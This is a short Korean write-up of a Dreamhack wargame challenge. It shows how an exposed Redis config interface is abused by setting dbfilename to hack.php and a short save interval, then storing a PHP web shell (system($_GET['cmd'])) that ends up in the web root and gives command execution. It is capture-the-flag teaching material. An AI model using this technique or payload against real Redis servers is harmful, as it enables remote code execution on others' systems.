문제 : https://dreamhack.io/wargame/challenges/420
해결 : redis는 굉장히 빠른 속도가 장점인데, 그 비결은 바로 메모리에 정보를 저장하기 때문이다.
하지만 휘발성이 높은 메모리이기에 일정 시간마다 정보를 디스크에 저장한다.
- 코드의 config.php를 보면, get/set으로 config 값을 조회/설정할 수 있다.
1. config 페이지에서 현재 설정값을 확인
※ 주요 설정값
dir : 작업 디렉토리
save : save <seconds> <changes>, 지정된 시간(초) 동안 지정된 개수 이상의 키가 변경되면 DB(메모리)에 있는 전체 데이터를 디스크에 저장한다.
dbfilename : RDB 파일 이름을 지정한다.
- dir : {"dir":"\/var\/www\/html"}
- save : {"save":"3600 1 300 100 60 10000"} # 3600초 동안 적어도 1개, 300초 동안 적어도 100개, 60초 동안 적어도 10000개의 key가 변경되면 데이터를 디스크에 저장한다.
- dbfilename : {"dbfilename":"dump.rdb"}
2. config 페이지에서 설정값 변경
save 10 1
dbfilename hack.php # 나중에 스크립트 실행을 위해 .php로 저장
3. command 페이지에서 스크립트 저장(php 시스템 명령어 실행 : system("명령어"))
return redis.call("set","test","<?php system($_GET['cmd']); ?>");
4. dump.rdb 파일을 확인해보면, 3. 에서 저장한 스크립트가 존재함을 확인할 수 있다.
5. /hack.php 접속하여 cmd 매개변수 지정하고 flag 확인 가능
'프로그래밍 > 해킹' 카테고리의 다른 글
Shell Code 앞에 붙는 접두사에 대한 고찰. (0) | 2024.07.04 |
---|---|
ExploitTech: Command Injection for Linux (0) | 2024.07.04 |
CouchDB & 관련 공격 (0) | 2024.07.03 |
Redis 중복 키 사용 관련 공격 (0) | 2024.07.03 |
MongoDB 기본 문법 & 취약점 (1) | 2024.07.03 |